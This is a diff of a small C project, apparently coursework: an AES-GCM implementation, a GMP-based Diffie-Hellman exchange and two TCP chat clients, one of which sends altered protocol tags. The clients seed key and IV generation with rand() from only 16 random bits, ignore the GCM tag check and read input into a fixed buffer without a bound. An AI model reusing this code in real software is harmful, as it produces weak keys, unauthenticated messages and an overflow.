static void ghash(const aes_uchar *h, const aes_uchar *x, size_t xlen, aes_uchar *y)
{
size_t m, i;
const aes_uchar *xpos = x;
aes_uchar tmp[16];
m = xlen / 16;
for (i = 0; i < m; i++) {
/* Y_i = (Y^(i-1) XOR X_i) dot H */
xor_block(y, xpos);
xpos += 16;
/* dot operation:
* multiplication operation for binary Galois (finite) field of
* 2^128 elements */
gf_mult(y, h, tmp);
memcpy(y, tmp, 16);
}
if (x + xlen > xpos) {
/* Add zero padded last block */
size_t last = x + xlen - xpos;
memcpy(tmp, xpos, last);
memset(tmp + last, 0, sizeof(tmp) - last);
/* Y_i = (Y^(i-1) XOR X_i) dot H */
xor_block(y, tmp);
/* dot operation:
* multiplication operation for binary Galois (finite) field of
* 2^128 elements */
gf_mult(y, h, tmp);
memcpy(y, tmp, 16);
}
/* Return Y_m */
}
static void aes_gctr(void *aes, const aes_uchar *icb, const aes_uchar *x, size_t xlen, aes_uchar *y)
{
size_t i, n, last;
aes_uchar cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
const aes_uchar *xpos = x;
aes_uchar *ypos = y;
if (xlen == 0)
return;
n = xlen / 16;
memcpy(cb, icb, AES_BLOCK_SIZE);
/* Full blocks */
for (i = 0; i < n; i++) {
aes_encrypt(aes, cb, ypos);
xor_block(ypos, xpos);
xpos += AES_BLOCK_SIZE;
ypos += AES_BLOCK_SIZE;
inc32(cb);
}
last = x + xlen - xpos;
if (last) {
/* Last, partial block */
aes_encrypt(aes, cb, tmp);
for (i = 0; i < last; i++)
*ypos++ = *xpos++ ^ tmp[i];
}
}
static void * aes_gcm_init_hash_subkey(const aes_uchar *key, size_t key_len, aes_uchar *H)
{
void *aes;
aes = aes_encrypt_init(key, key_len);
if (aes == NULL)
return NULL;
/* Generate hash subkey H = AES_K(0^128) */
memset(H, 0, AES_BLOCK_SIZE);
aes_encrypt(aes, H, H);
aes_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", H, AES_BLOCK_SIZE);
return aes;
}
static void aes_gcm_prepare_j0(const aes_uchar *iv, size_t iv_len, const aes_uchar *H, aes_uchar *J0)
{
aes_uchar len_buf[16];
if (iv_len == 12) {
/* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */
memcpy(J0, iv, iv_len);
memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len);
J0[AES_BLOCK_SIZE - 1] = 0x01;
} else {
/*
* s = 128 * ceil(len(IV)/128) - len(IV)
* J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64)
*/
ghash_start(J0);
ghash(H, iv, iv_len, J0);
AES_PUT_BE64(len_buf, 0);
AES_PUT_BE64(len_buf + 8, iv_len * 8);
ghash(H, len_buf, sizeof(len_buf), J0);
}
}
static void aes_gcm_gctr(void *aes, const aes_uchar *J0, const aes_uchar *in, size_t len,
aes_uchar *out)
{
aes_uchar J0inc[AES_BLOCK_SIZE];
if (len == 0)
return;
memcpy(J0inc, J0, AES_BLOCK_SIZE);
inc32(J0inc);
aes_gctr(aes, J0inc, in, len, out);
}
static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
{
aes_uchar len_buf[16];
/*
* u = 128 * ceil[len(C)/128] - len(C)
* v = 128 * ceil[len(A)/128] - len(A)
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
* (i.e., zero padded to block size A || C and lengths of each in bits)
*/
ghash_start(S);
ghash(H, aad, aad_len, S);
ghash(H, crypt, crypt_len, S);
AES_PUT_BE64(len_buf, aad_len * 8);
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
ghash(H, len_buf, sizeof(len_buf), S);
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
}
/**
* aes_gcm_ae - GCM-AE_K(IV, P, A)
*/
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
{
aes_uchar H[AES_BLOCK_SIZE];
aes_uchar J0[AES_BLOCK_SIZE];
aes_uchar S[16];
void *aes;
aes = aes_gcm_init_hash_subkey(key, key_len, H);
if (aes == NULL)
return -1;
aes_gcm_prepare_j0(iv, iv_len, H, J0);
/* C = GCTR_K(inc_32(J_0), P) */
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
/* T = MSB_t(GCTR_K(J_0, S)) */
aes_gctr(aes, J0, S, sizeof(S), tag);
/* Return (C, T) */
aes_encrypt_deinit(aes);
return 0;
}
/**
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
*/
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
{
aes_uchar H[AES_BLOCK_SIZE];
aes_uchar J0[AES_BLOCK_SIZE];
aes_uchar S[16], T[16];
void *aes;
aes = aes_gcm_init_hash_subkey(key, key_len, H);
if (aes == NULL)
return -1;
aes_gcm_prepare_j0(iv, iv_len, H, J0);
/* P = GCTR_K(inc_32(J_0), C) */
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
/* T' = MSB_t(GCTR_K(J_0, S)) */
aes_gctr(aes, J0, S, sizeof(S), T);
aes_encrypt_deinit(aes);
if (memcmp(tag, T, 16) != 0) {
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
return -1;
}
return 0;
}
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
{
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
}

1021
client/aes-internal.c Normal file

File diff suppressed because it is too large Load Diff

113
client/aes-internal.h Normal file
View File

@ -0,0 +1,113 @@
#ifndef AES_INTERNAL_H
#define AES_INTERNAL_H
extern const aes_uint Te0[256];
extern const aes_uint Te1[256];
extern const aes_uint Te2[256];
extern const aes_uint Te3[256];
extern const aes_uint Te4[256];
extern const aes_uint Td0[256];
extern const aes_uint Td1[256];
extern const aes_uint Td2[256];
extern const aes_uint Td3[256];
extern const aes_uint Td4[256];
extern const aes_uint rcon[10];
extern const aes_uchar Td4s[256];
extern const aes_uchar rcons[10];
#ifndef AES_SMALL_TABLES
#define RCON(i) rcon[(i)]
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) Te1[((i) >> 16) & 0xff]
#define TE2(i) Te2[((i) >> 8) & 0xff]
#define TE3(i) Te3[(i) & 0xff]
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
#define TE4(i) (Te4[(i)] & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) Td1[((i) >> 16) & 0xff]
#define TD2(i) Td2[((i) >> 8) & 0xff]
#define TD3(i) Td3[(i) & 0xff]
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) Td1[(i) & 0xff]
#define TD2_(i) Td2[(i) & 0xff]
#define TD3_(i) Td3[(i) & 0xff]
#else /* AES_SMALL_TABLES */
#define RCON(i) (rcons[(i)] << 24)
static inline aes_uint rotr(aes_uint val, int bits)
{
return (val >> bits) | (val << (32 - bits));
}
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
#define TD44(i) (Td4s[(i) & 0xff])
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
#endif /* AES_SMALL_TABLES */
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
((aes_uint)(pt)[1] << 16) ^ \
((aes_uint)(pt)[2] << 8) ^ \
((aes_uint)(pt)[3]))
#define PUTU32(ct, st) { \
(ct)[0] = (aes_uchar)((st) >> 24); \
(ct)[1] = (aes_uchar)((st) >> 16); \
(ct)[2] = (aes_uchar)((st) >> 8); \
(ct)[3] = (aes_uchar)(st); }
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
#define AES_PRIV_NR_POS (4 * 15)
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
#endif /* AES_I_H */

70
client/aes.h Normal file
View File

@ -0,0 +1,70 @@
#ifndef AES_H
#define AES_H
#ifdef __cplusplus
extern "C" {
#endif
#define AES_FULL_UNROLL
#define AES_SMALL_TABLES
#define AES_BLOCK_SIZE 16
#include "aes-common.h"
#include "aes-internal.h"
#include "aes-debug.h"
void * aes_encrypt_init(const aes_uchar *key, size_t len);
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
void aes_encrypt_deinit(void *ctx);
void * aes_decrypt_init(const aes_uchar *key, size_t len);
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
void aes_decrypt_deinit(void *ctx);
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
const aes_uchar *addr[], const size_t *len,
aes_uchar *mac);
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
aes_uchar *mac);
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
aes_uchar *data, size_t data_len);
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
const aes_uchar *nonce, size_t nonce_len,
const aes_uchar *hdr, size_t hdr_len,
aes_uchar *data, size_t data_len, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
const aes_uchar *nonce, size_t nonce_len,
const aes_uchar *hdr, size_t hdr_len,
aes_uchar *data, size_t data_len, const aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
size_t data_len);
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
size_t data_len);
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len,
aes_uchar *crypt, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
aes_uchar *plain);
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
size_t M, const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
size_t M, const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
aes_uchar *plain);
#ifdef __cplusplus
}
#endif
#endif /* AES_H */

159
client/client.c Normal file
View File

@ -0,0 +1,159 @@
#include <memory.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include "Diffie_hellman.c"
#include "aes.h"
#include <unistd.h>
#define AES_DEBUG
#define MAX_size 256
#define PORT 8080
#define Sockaddr struct sockaddr
void recv_msg(int sockfd, char * buf, unsigned char *key){
char buff[MAX_size];
//add(16)+iv(12)+tag(16)+data
unsigned char iv[12],add[16],tag[16];
int l=read(sockfd, buff, sizeof(buff));
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
}
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
//add(16)+iv(12)+tag(16)+data
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
memset(cryptbuf, 0, con_len + 44 + 4);
//add+iv
unsigned char iv[12],add[16],tag[16];
memset(tag,0,16);
for(int j=0;j<16;j++)
add[j]=rand()%256;
for(int j=0;j<12;j++)
iv[j]=rand()%256;
//encrypt
int tmp;
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
memcpy(cryptbuf + 4, add, 16);
memcpy(cryptbuf + 20, iv, 12);
memcpy(cryptbuf + 32, tag, 16);
memcpy(cryptbuf, "data", 4);
int f;
f = write(sockfd, cryptbuf, con_len + 44 + 4);
}
void DH_key_exchange_for_client(int sockfd, unsigned char * key_aes){
Dh_key client_key;
init_numbers(&client_key);
client_key.urand = fopen("/dev/urandom","r");
mpz_set_ui(client_key.base, (unsigned long)2);
char buff[MAX_size];
memset(buff, 0, MAX_size);
//receive p
memset(buff, 0, MAX_size);
read(sockfd,buff,sizeof(buff));
mpz_set_str(client_key.prime,buff+3,16);
gmp_printf("p:%Zd\n",client_key.prime);
//generate private key a
generate_key(32, &client_key);
gmp_printf("a:%Zd\n",client_key.private_key);
//calculate public key A=g^a(mod p)
mpz_powm(client_key.public_key, client_key.base, client_key.private_key, client_key.prime);
gmp_printf("A:%Zd\n",client_key.public_key);
//send A
bzero(buff, MAX_size);
memcpy(buff,"pub",3);
mpz_get_str(buff+3,16,client_key.public_key);
write(sockfd,buff,sizeof(buff));
//receive B
bzero(buff, MAX_size);
read(sockfd,buff,sizeof(buff));
mpz_t key_from_s;
mpz_init(key_from_s);
mpz_set_str(key_from_s,buff+3,16);
gmp_printf("B:%Zd\n",key_from_s);
//calc s=g^(ab)
mpz_powm(client_key.key, key_from_s, client_key.private_key, client_key.prime);
//key -> char*
bzero(buff, MAX_size);
mpz_get_str(buff,16,client_key.key);
memcpy(key_aes,str2hex(buff),32);
fclose(client_key.urand);
clear_numbers(&client_key);
}
void func(int sockfd)
{
char buff[MAX_size];
int n=0;
unsigned char aes_key[32];
DH_key_exchange_for_client(sockfd, aes_key);
printf("\n");
print_hex(aes_key, 32);
for (;;) {
bzero(buff, sizeof(buff));
printf("Enter str : ");
n = 0;
while ((buff[n++] = getchar()) != '\n');
send_msg(sockfd, buff, strlen(buff),aes_key);
bzero(buff, sizeof(buff));
recv_msg(sockfd, buff, aes_key);
printf("From Server : %s", buff);
if ((strncmp(buff, "exit", 4)) == 0) {
printf("Client Exit\n");
break;
}
}
}
int main(int argc,char **argv)
{
int sockfd, connfd;
struct sockaddr_in servaddr, cli;
//创建套接字
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed\n");
exit(0);
}
else
printf("Socket successfully created\n");
bzero(&servaddr, sizeof(servaddr));
//绑定地址
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(atoi(argv[2]));
//连接
if (connect(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
printf("connection with the server failed\n");
exit(0);
}
else
printf("connected to the server\n");
//发送
func(sockfd);
close(sockfd);
}

160
client/client_p.c Normal file
View File

@ -0,0 +1,160 @@
#include <memory.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include "Diffie_hellman.c"
#include "aes.h"
#include <unistd.h>
#define AES_DEBUG
#define MAX_size 256
#define PORT 8080
#define Sockaddr struct sockaddr
void recv_msg(int sockfd, char * buf, unsigned char *key){
char buff[MAX_size];
//add(16)+iv(12)+tag(16)+data
unsigned char iv[12],add[16],tag[16];
int l=read(sockfd, buff, sizeof(buff));
memcpy(add,buff+4,16);
memcpy(iv,buff+16+4,12);
memset(tag,0,16);
int tmp=aes_gcm_ad(key, 32, iv, 12,buff+44+4, l-44-4, add, 16, tag, buf);
}
void send_msg(int sockfd, char * buff, int con_len, unsigned char *key){
//add(16)+iv(12)+tag(16)+data
unsigned char * cryptbuf=(unsigned char*)malloc(con_len + 44 + 4);
memset(cryptbuf, 0, con_len + 44 + 4);
//add+iv
unsigned char iv[12],add[16],tag[16];
memset(tag,0,16);
for(int j=0;j<16;j++)
add[j]=rand()%256;
for(int j=0;j<12;j++)
iv[j]=rand()%256;
//encrypt
int tmp;
tmp = aes_gcm_ae(key, 32, iv, 12, buff, con_len, add, 16, cryptbuf + 44 + 4, tag);
memcpy(cryptbuf + 4, add, 16);
memcpy(cryptbuf + 20, iv, 12);
memcpy(cryptbuf + 32, tag, 16);
memcpy(cryptbuf, "daaa", 4);
int f;
f = write(sockfd, cryptbuf, con_len + 44 + 4);
}
void DH_key_exchange_for_client(int sockfd, unsigned char * key_aes){
Dh_key client_key;
init_numbers(&client_key);
client_key.urand = fopen("/dev/urandom","r");
mpz_set_ui(client_key.base, (unsigned long)2);
char buff[MAX_size];
memset(buff, 0, MAX_size);
//receive p
memset(buff, 0, MAX_size);
read(sockfd,buff,sizeof(buff));
mpz_set_str(client_key.prime,buff+3,16);
gmp_printf("p:%Zd\n",client_key.prime);
//generate private key a
generate_key(32, &client_key);
gmp_printf("a:%Zd\n",client_key.private_key);
//calculate public key A=g^a(mod p)
mpz_powm(client_key.public_key, client_key.base, client_key.private_key, client_key.prime);
gmp_printf("A:%Zd\n",client_key.public_key);
//send A
bzero(buff, MAX_size);
memcpy(buff,"pud",3);
mpz_get_str(buff+3,16,client_key.public_key);
write(sockfd,buff,sizeof(buff));
//receive B
bzero(buff, MAX_size);
read(sockfd,buff,sizeof(buff));
mpz_t key_from_s;
mpz_init(key_from_s);
mpz_set_str(key_from_s,buff+3,16);
gmp_printf("B:%Zd\n\n",key_from_s);
//calc s=g^(ab)
mpz_powm(client_key.key, key_from_s, client_key.private_key, client_key.prime);
//key -> char*
bzero(buff, MAX_size);
mpz_get_str(buff,16,client_key.key);
memcpy(key_aes,str2hex(buff),32);
fclose(client_key.urand);
clear_numbers(&client_key);
}
void func(int sockfd)
{
char buff[MAX_size];
int n=0;
unsigned char aes_key[32];
DH_key_exchange_for_client(sockfd, aes_key);
print_hex(aes_key, 32);
for (;;) {
bzero(buff, sizeof(buff));
printf("Enter str : ");
n = 0;
while ((buff[n++] = getchar()) != '\n');
send_msg(sockfd, buff, strlen(buff),aes_key);
bzero(buff, sizeof(buff));
recv_msg(sockfd, buff, aes_key);
printf("From Server : %s", buff);
if ((strncmp(buff, "exit", 4)) == 0) {
printf("Client Exit\n");
break;
}
}
}
int main(int argc,char **argv)
{
if(argc!=3){
puts("./client ip port");
return 0;
}
int sockfd, connfd;
struct sockaddr_in servaddr, cli;
//斐膘杶諉趼
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed\n");
exit(0);
}
else
printf("Socket successfully created\n");
bzero(&servaddr, sizeof(servaddr));
//堂隅華硊
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(atoi(argv[2]));
if (connect(sockfd, (Sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
printf("connection with the server failed\n");
exit(0);
}
else
printf("connected to the server\n");
//諉彶
func(sockfd);
close(sockfd);
}

9
client/makefile Normal file
View File

@ -0,0 +1,9 @@
client:client.c aes-debug.o aes-gcm.o aes-internal.o
gcc client.c -o client aes-debug.o aes-gcm.o aes-internal.o -l gmp
aes-debug.o:aes-debug.c
gcc -c aes-debug.c -o aes-debug.o
aes-gcm.o:aes-gcm.c
gcc -c aes-gcm.c -o aes-gcm.o
aes-internal.o:aes-internal.c
gcc -c aes-internal.c -o aes-internal.o

8
client/makefile_p Normal file
View File

@ -0,0 +1,8 @@
client_p:client_p.c aes-debug.o aes-gcm.o aes-internal.o
gcc client_p.c -o client_p aes-debug.o aes-gcm.o aes-internal.o -l gmp
aes-debug.o:aes-debug.c
gcc -c aes-debug.c -o aes-debug.o
aes-gcm.o:aes-gcm.c
gcc -c aes-gcm.c -o aes-gcm.o
aes-internal.o:aes-internal.c
gcc -c aes-internal.c -o aes-internal.o

144
server/Diffie_hellman.c Normal file
View File

@ -0,0 +1,144 @@
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <gmp.h>
#include <string.h>
typedef struct{
mpz_t prime;
mpz_t base;
mpz_t private_key;
mpz_t public_key;
mpz_t key; //g^(AB)
FILE *urand;
}Dh_key;
void generate_random(size_t sz, unsigned char* random_bytes,Dh_key* dhk)
{
unsigned int init_random = 0;
size_t i = 0;
if(0 == sz || NULL == random_bytes)
{
fprintf(stderr, "Wrong params for generate_random\n");
exit(1);
}
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
srand(init_random);
for(i = 0; i < sz; i++)
{
random_bytes[i] = rand();
}
}
void print_hex(unsigned char* value, unsigned int len){
printf("%s","key exchange:");
for(int i=0;i<len;i++)
printf("%02x ",value[i]);
puts("");
}
unsigned char* str2hex(char *hexStr){
int len=strlen(hexStr)/2;
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
memset(hexvalue,0,len);
for(int i=0;i<len;i++){
if(hexStr[i*2]<='9'){
hexvalue[i]=(hexStr[i*2]-'0')*16;
}else
hexvalue[i]=(hexStr[i*2]-87)*16; //a=97
if(hexStr[i*2+1]<='9'){
hexvalue[i]+=(hexStr[i*2+1]-'0');
}else
hexvalue[i]+=(hexStr[i*2+1]-87);
}
return hexvalue;
}
void generate_key(size_t sz, Dh_key* dhk)
{
unsigned char* random_bytes = NULL;
if(0 == sz || NULL == dhk->private_key)
{
fprintf(stderr, "Wrong params for generate_key\n");
exit(1);
}
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
if(NULL == random_bytes)
{
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
exit(1);
}
generate_random(sz, random_bytes, dhk);
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
free(random_bytes);
}
void init_prime(size_t sz,Dh_key* dhk)
{
mpz_t tmp;
mpz_t x;
unsigned char* random_bytes = NULL;
if(0 == sz)
{
fprintf(stderr, "Wrong params for init_prime\n");
exit(1);
}
mpz_init(tmp);
mpz_init(x);
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
if(NULL == random_bytes)
{
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
exit(1);
}
while (1)
{
generate_random(sz, random_bytes,dhk);
random_bytes[sz-1] |= (unsigned char)0x40;
random_bytes[0] |= (unsigned char)1;
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
while (0 == mpz_probab_prime_p(tmp, 10))
{
mpz_add_ui(tmp, tmp, 2);
}
mpz_mul_ui(dhk->prime, tmp, 2);
mpz_add_ui(dhk->prime, dhk->prime, 1);
if (0 != mpz_probab_prime_p(dhk->prime, 10))
{
break;
}
}
free(random_bytes);
mpz_set_ui(dhk->base, (unsigned long)2);
mpz_clear(tmp);
mpz_clear(x);
}
void init_numbers(Dh_key* dhk)
{
mpz_init(dhk->key);
mpz_init(dhk->prime);
mpz_init(dhk->base);
mpz_init(dhk->private_key);
mpz_init(dhk->public_key);
}
void clear_numbers(Dh_key* dhk)
{
mpz_clear(dhk->key);
mpz_clear(dhk->prime);
mpz_clear(dhk->base);
mpz_clear(dhk->private_key);
mpz_clear(dhk->public_key);
}

246
server/aes-common.h Normal file
View File

@ -0,0 +1,246 @@
#ifndef AES_COMMON_H
#define AES_COMMON_H
#include <ctype.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
/* integer types */
typedef unsigned char aes_uchar;
typedef unsigned short aes_ushort;
typedef unsigned int aes_uint;
typedef unsigned long long aes_ulong;
typedef signed char aes_char;
typedef signed short aes_short;
typedef signed int aes_int;
typedef signed long long aes_long;
/* byte order */
#if defined(__linux__) || defined(__GLIBC__)
#include <endian.h>
#include <byteswap.h>
#endif /* defined(__linux__) || defined(__GLIBC__) */
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
defined(__DragonFly__) || defined(__OpenBSD__)
#include <sys/types.h>
#include <sys/endian.h>
#define __BYTE_ORDER _BYTE_ORDER
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
#define __BIG_ENDIAN _BIG_ENDIAN
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
* defined(__DragonFly__) || defined(__OpenBSD__) */
#ifdef sun
#include <sys/isa_defs.h>
#define __LITTLE_ENDIAN 1234
#define __BIG_ENDIAN 4321
#ifdef _LITTLE_ENDIAN
#define __BYTE_ORDER __LITTLE_ENDIAN
#else
#define __BYTE_ORDER __BIG_ENDIAN
#endif
#endif
#ifdef _MSC_VER
#define inline __inline
#define __LITTLE_ENDIAN 1234
#define __BIG_ENDIAN 4321
#define __BYTE_ORDER __LITTLE_ENDIAN
#endif /* _MSC_VER */
#ifdef __APPLE__
#include <sys/types.h>
#include <machine/endian.h>
#define __BYTE_ORDER BYTE_ORDER
#define __LITTLE_ENDIAN LITTLE_ENDIAN
#define __BIG_ENDIAN BIG_ENDIAN
#endif /* __APPLE__ */
/* byte swap macros */
#ifndef bswap_16
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
(((aes_ushort) (a) & 0x00ff) << 8))
#endif
#ifndef bswap_32
#if defined __GNUC__
#define bswap_32(a) __builtin_bswap32(a)
#else
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
(((aes_uint) (a) & 0x0000ff00) << 8) | \
(((aes_uint) (a) & 0x000000ff) << 24))
#endif
#endif
#ifndef bswap_64
#if defined __GNUC__
#define bswap_64(a) __builtin_bswap64(a)
#else
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
